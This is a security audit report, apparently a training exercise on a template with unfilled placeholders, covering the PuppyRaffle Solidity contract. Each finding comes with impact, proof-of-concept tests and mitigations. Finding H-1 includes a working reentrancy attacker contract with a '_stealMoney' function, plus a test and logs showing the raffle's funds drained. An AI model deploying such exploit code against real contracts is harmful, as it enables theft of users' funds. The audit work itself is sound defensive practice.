Protocol Audit Report

Prepared by: Cyfrin

Table of Contents

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: `e30d199697bbc822b646d76533b66b7d529b8ef5`

Scope

```
./src/
└── PuppyRaffle.sol
```

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

We spend X hours with Z auditors using Y tools. etc cloc; slither; aderyn;

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	1
Info	7
Gas	2
Total	18

Findings

High

[H-1] The function `PuppyRaffle::refund` is vulnerable to a Reentrancy Attack

Description: The `PuppyRaffle::refund` function contains code that can be exploited to perform a Reentrancy attack. An attacker can craft a contract that makes repeated consecutive calls to the

`PuppyRaffle::refund` function immediately upon receiving funds.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
        // @audit Reentrancy attack
        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact: The reentrancy attack can deplete the `PuppyRaffle` contract's funds in favor of the attacker.

Proof of Concept: Let's register 4 players in the deployed `PuppyRaffle` contract. Create a contract to replay the `ReentrancyAttacker` attack and execute the attack from the fifth address, completely depriving the PuppyRaffle of all its assets.

Logs: attackerContract balance: 0 puppyRaffle balance: 4000000000000000000 ending attackerContract balance: 5000000000000000000 ending puppyRaffle balance: 0

▶ Proof Of Code

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);

        }
    }
```

```
    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Also in the test script add a test that implements the reentrancy attack.

```
    function test_reentrancyRefund() public {
        // users entering raffle
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // create attack contract and user
        ReentrancyAttacker attackerContract = new
ReentrancyAttacker(puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        // noting starting balances
        uint256 startingAttackContractBalance =
address(attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        // impact
        console.log("attackerContract balance: ",
startingAttackContractBalance);
        console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
        console.log("ending attackerContract balance: ",
address(attackerContract).balance);
        console.log("ending puppyRaffle balance: ",
address(puppyRaffle).balance);
    }
```

Recommended Mitigation: There are three solutions to avoid a reentrancy attack.

1. Following CEI - Checks, Effects, Interactions Patterns

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+       players[playerIndex] = address(0);
        payable(msg.sender).sendValue(entranceFee);

-        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

2. Implementing a locking mechanism to our function

```
+   bool locked = false;
    .
    .
    .
    function refund(uint256 playerIndex) public {
+       if(locked){
+           revert;
+       }
+       locked = true;
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
+       locked = false;
    }
```

3. Leveraging existing libraries from trust sources like OpenZeppelin's ReentrancyGuard

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Since the values used here are values that miners can control, block.difficulty, or predictable values, block.timestamp, miners can control a random number.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

```
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
```

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept: There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. block.difficulty was recently replaced with prevrandao.
2. Users can mine/manipulate the `msg.sender` value to result in their index being the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Do noy use `msg.sender`, `block.timestamp` and `block.difficulty` as a sourse of randomness. The solution here, is we need a way to create randomness that is verifiable and tamper-proof from miners and rerollers. We also have to do this using an oracle. Actual randomness in deterministic systems like a blockchain is nearly impossible without one. Or you can use the Commit-Reveal scheme to determine the winner Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to 0.8.0, integers were subject to integer overflows.
`type(uint64).max == 18446744073709551615`

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We will register 10 participants in the game
2. determine the winner
3. We will register 83 participants in the new drawing.

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 200000000000000000 + 1660000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. When outputting `totalFees` using the `PuppyRaffle::withdrawFees` function, we will get a return due to balance check because totalFees will not be equal to the contract balance after overflow

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
```

▶ Proof Of Code

```
    function test_feeOverflow() public {
        // Let's enter 10 players
        uint playersNum = 10;
        address[] memory players = new address[](playersNum);
        for(uint i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        console.log("totalFees before 10 players:",
puppyRaffle.totalFees());

        // Let's next 83 players
        playersNum = 83;
        address[] memory playersNext = new address[](playersNum);
        for(uint i = 0; i < playersNum; i++) {
            playersNext[i] = address(i + 10);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}
(playersNext);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        console.log("totalFees before 93 players:",
puppyRaffle.totalFees());

        vm.expectRevert();
        puppyRaffle.withdrawFees();
    }
```

Logs: totalFees before 10 players: 2000000000000000000 totalFees before 93 players: 153255926290448384

Recommended Mitigation: Use a `uint256` instead of a `uint64` for totalFees.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
    .
```

```
    .
    .
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[H-4] Incorrect counting of active participants in the game results in loss of rewards or blocking the selection of a

Description: When a player is defined, the `PuppyRaffle::selectWinner` function calculates the awards based on the total number of player records, not taking into account players who left earlier with `PuppyRaffle::refund`. The `PuppyRaffle::refund` function does not reduce the length of the `players` array

```
    /// @dev This function will allow there to be blank spots in the array
```

But the length of the `players` array is used to determine the size of the awards

```
    function selectWinner() external {
        ...
@>      uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        ...
    }
```

Impact: This calculation leads to incorrect values of `prizePool` and `fee`. This results in a loss of the game organizer's reward or an error in the transfer of funds during the selection of the winner.

Proof of Concept:

1. Register 10 participants in the game
2. Let 2 players leave the game before the winner is determined
3. Let's make a drawing for prizes Logs: Balance of the contract before selecting a winner: 8000000000000000000 Balance of the contract after the winner is selected: 0 Fee due to the

organizer (totalFees): 2000000000000000000 It is not possible to withdraw totalFees as there is no ether on the contract

4. When trying to call `PuppyRaffle::withdrawFees` we will get an error.

If we withdraw more than 2 players at step 2, we wouldn't even be able to pick a winner due to insufficient funds on the contract

```
revert: PuppyRaffle: Failed to send prize pool to winner
```

▶ Proof Of Code

```
    function test_refundAndWinners() public {
        // Let's enter 10 players
        uint playersNum = 10;
        address[] memory players = new address[](playersNum);
        for(uint i = 0; i < playersNum; i++) {
            players[i] = address(i + 1);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

        for(uint i = 0; i < 2; i++) {
            address addr = address(i + 1);
            uint256 playerIndex = puppyRaffle.getActivePlayerIndex(addr);
            vm.prank(addr);
            puppyRaffle.refund(playerIndex);
        }


        console.log("Balance of the contract before selecting a
winner:\t",  address(puppyRaffle).balance);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        console.log("Balance of the contract after the winner is
selected:\t",  address(puppyRaffle).balance);
        console.log("Fee due to the organizer (totalFees):\t\t\t",
puppyRaffle.totalFees());

        vm.expectRevert("PuppyRaffle: There are currently players
active!");
        puppyRaffle.withdrawFees();
        console.log("It is not possible to withdraw totalFees as there is
no ETH on the contract");
    }
```

Recommended Mitigation: It is better to avoid this behavior by maintaining only active participants in the `players` array

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
+       players[playerIndex] = players[players.length - 1];
+       players.pop();
        emit RaffleRefunded(playerAddress);
    }
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle:enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the players array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means that the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the players array, is an additional check the loop will have to make.

```
        // @audit DoS Attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Impact: The impact is two-fold.

The gas costs for raffle entrants will greatly increase as more players enter the raffle. Front-running opportunities are created for malicious users to increase the gas costs of other users, so their transaction fails.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such:

1st 100 players: 6252047 2nd 100 players: 18068137 This is more than 3x as expensive for the second set of 100 players!

This is due to the for loop in the `PuppyRaffle::enterRaffle` function.

▶ Proof Of Code

```
    function test_denailOfService() public {
        vm.txGasPrice(1);

        // Let's enter 100 players
        uint playersNum = 100;
        address[] memory players = new address[](playersNum);
        for(uint i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // sea how much gas it cost
        uint gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        uint gasEnd = gasleft();
        uint gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players:", gasUsedFirst);

        // now for the 2nd 100 players
        address[] memory playersTwo = new address[](playersNum);
        for(uint i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        // sea how much gas it cost
        uint gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}
(playersTwo);
        uint gasEndTwo = gasleft();
        uint gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
        console.log("Gas cost of the second 100 players:",
gasUsedSecond);


        assert(gasUsedSecond > gasUsedFirst);
        // Logs:
        // Gas cost of the first 100 players: 6252047
        // Gas cost of the second 100 players: 18068137
    }
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 1;
    .
    .
    .
```

```
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
+           // Check for duplicates only from the new players
+           require(addressToRaffleId[newPlayers[i]] != raffleId,
"PuppyRaffle: Duplicate player");
+           addressToRaffleId[newPlayers[i]] = raffleId;
            players.push(newPlayers[i]);
        }

-       // Check for duplicates
-       for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than type(uint64).max, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the fee as a uint64 hits
3. totalFees is incorrectly updated with a lower amount You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

[M-4] If there are yoke or difference between the balance on the contract and the value in `totalFees`, the reward cannot be withdrawn.

Description: Someone may send ETH to the contract directly, which will result in a difference between the calculated reward amount and `totalFees`.

Impact: The raffle organizer's funds will be locked in the contract with no way to withdraw them.

Recommended Mitigation: To prevent this incident it is sufficient to delete one line

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
```

Low

[L-1] Returning 0 as the result of no address as a registered participant in the `PuppyRaffle::getActivePlayerIndex` function is misleading the player who registered as the first participant in the draw.

Description: The `PuppyRaffle::getActivePlayerIndex` function returns the index of the player in the array or 0 if there is no player with this address. This index is necessary for use in `PuppyRaffle::refund`

function. But the array index starts with 0, which means that the one who registered in the game first will be confused to get 0 as a result.

```
    /// @return the index of the player in the array, if they are not
active, it returns 0
    function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0; // @audit 0 index can be player
    }
```

Impact: The first player who registers will receive a result that will mislead them about their participation in the draw.

Proof of Concept: Let's register two players in the game and check that one of them is recorded in the `players` array under index 0. Also check that the `PuppyRaffle::getActivePlayerIndex` function will return 0 for this player and for the other address not registered in the draw.

▶ Proof Of Code

```
     function test_zeroIndex() public {
        address[] memory players = new address[](2);
        players[0] = playerOne;
        players[1] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee * 2}(players);

        //Checking that the player is recorded in the list players under
index 0
        assertEq(puppyRaffle.players(0), playerOne);

        //Check that the same player gets 0 in the way of getting the
index in the array via the getActivePlayerIndex function
        assertEq(puppyRaffle.getActivePlayerIndex(playerOne), 0);

        //Check that a player not participating in the raffle also gets 0
when using the getActivePlayerIndex function
        assertEq(puppyRaffle.getActivePlayerIndex(playerThree), 0);
    }
```

Recommended Mitigation: The best solution is to generate an error if the address is missing from the list of draw participants.

```
+   error PlayerNotRegistered();
    .
```

```
    .
    .
+   /// @returns the index of the player in the array, if it is not
active, an error PlayerNotRegistered() is returned
-    /// @return the index of the player in the array, if they are not
active, it returns 0
    function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
+       revert PlayerNotRegistered();
-        return 0;
    }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an Outdated Version of Solidity is Not Recommended

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.23`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
        feeAddress = newFeeAddress;
```

[I-4] does not follow CEI, which is not a best practice

It's best to keep code cleaen and follow CEI (Checks, Effects, Interactions).

```
-   (bool success,) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
+   (bool success,) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name. Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 53

  ```
      event RaffleEnter(address[] newPlayers);
  ```

- Found in src/PuppyRaffle.sol Line: 54

  ```
      event RaffleRefunded(address player);
  ```

- Found in src/PuppyRaffle.sol Line: 55

```
    event FeeAddressChanged(address newFeeAddress);
```

[I-7] `PuppyRaffle::isActivePlayer` is never used and should be removed

Description The function `PuppyRaffle::isActivePlayer` is never used and should be removed.

Recommended Mitigation:

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Everytime you call newPlayers.length you read from storage, as opposed to memory which is more gas efficient.

```
+   uint256 playersLength = newPlayers.length;
-   for (uint256 i = 0; i < newPlayers.length; i++) {
+   for (uint256 i = 0; i < playersLength; i++) {
        players.push(newPlayers[i]);
    }
}
```

Using a diff shows clearly what adjustments should be made to optimized for gas.